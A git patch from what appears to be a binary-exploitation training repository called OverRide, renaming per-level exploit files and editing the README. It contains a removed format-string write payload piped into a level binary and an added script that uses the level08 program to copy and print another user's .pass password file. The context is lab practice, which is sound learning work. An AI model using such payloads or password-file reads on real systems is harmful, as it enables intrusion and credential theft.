From e1aafa2749e4db99984721584602a91db387c3c0 Mon Sep 17 00:00:00 2001 From: 0x35c <> Date: Thu, 15 May 2025 14:10:09 +0200 Subject: [PATCH] rename all the exploits to exploit.sh --- README.md | 4 ++-- level00/ressources/{exploit => exploit.sh} | 0 level01/ressources/{exploit => exploit.sh} | 0 level02/ressources/{exploit => exploit.sh} | 0 level03/ressources/{exploit => exploit.sh} | 0 level04/ressources/{exploit => exploit.sh} | 0 level07/ressources/{exploit => exploit.sh} | 0 level08/ressources/exploit | 1 - level08/ressources/exploit.sh | 3 +++ level09/ressources/{exploit => exploit.sh} | 0 10 files changed, 5 insertions(+), 3 deletions(-) rename level00/ressources/{exploit => exploit.sh} (100%) rename level01/ressources/{exploit => exploit.sh} (100%) rename level02/ressources/{exploit => exploit.sh} (100%) rename level03/ressources/{exploit => exploit.sh} (100%) rename level04/ressources/{exploit => exploit.sh} (100%) rename level07/ressources/{exploit => exploit.sh} (100%) delete mode 100644 level08/ressources/exploit create mode 100644 level08/ressources/exploit.sh rename level09/ressources/{exploit => exploit.sh} (100%) diff --git a/README.md b/README.md index d59172b..78059c9 100644 --- a/README.md +++ b/README.md @@ -1,9 +1,9 @@ # OverRide -Override is a project where the goal is to exploit vulnerabilities in binaries by reverse engineering them to make them display a file containing passwords. It is divided into 10 levels (level00 to level09). +Override is a project where the goal is to exploit vulnerabilities in binaries by reverse engineering them to make them display a file containing passwords. It is divided into 9 mandatory levels and 1 bonus level (level00 to level08, level09 being the bonus). ## Methodology This project was carried out using peer programming. Working together on the same machine, we decompiled binaries, tested various exploits, and analyzed vulnerabilities collaboratively. -## [Subject](./en.subject.pdf) \ No newline at end of file +## [Subject](./en.subject.pdf) diff --git a/level00/ressources/exploit b/level00/ressources/exploit.sh similarity index 100% rename from level00/ressources/exploit rename to level00/ressources/exploit.sh diff --git a/level01/ressources/exploit b/level01/ressources/exploit.sh similarity index 100% rename from level01/ressources/exploit rename to level01/ressources/exploit.sh diff --git a/level02/ressources/exploit b/level02/ressources/exploit.sh similarity index 100% rename from level02/ressources/exploit rename to level02/ressources/exploit.sh diff --git a/level03/ressources/exploit b/level03/ressources/exploit.sh similarity index 100% rename from level03/ressources/exploit rename to level03/ressources/exploit.sh diff --git a/level04/ressources/exploit b/level04/ressources/exploit.sh similarity index 100% rename from level04/ressources/exploit rename to level04/ressources/exploit.sh diff --git a/level07/ressources/exploit b/level07/ressources/exploit.sh similarity index 100% rename from level07/ressources/exploit rename to level07/ressources/exploit.sh diff --git a/level08/ressources/exploit b/level08/ressources/exploit deleted file mode 100644 index dedc96c..0000000 --- a/level08/ressources/exploit +++ /dev/null @@ -1 +0,0 @@ -(python -c 'print "\x10\x98\x04\x08" + "%16930112p" + "%12$n"'; cat) | ./level4 diff --git a/level08/ressources/exploit.sh b/level08/ressources/exploit.sh new file mode 100644 index 0000000..c5193bf --- /dev/null +++ b/level08/ressources/exploit.sh @@ -0,0 +1,3 @@ +mkdir -p backups/home/users/level09 +~/level08 /home/users/level09/.pass +cat backups/home/users/level09/.pass diff --git a/level09/ressources/exploit b/level09/ressources/exploit.sh similarity index 100% rename from level09/ressources/exploit rename to level09/ressources/exploit.sh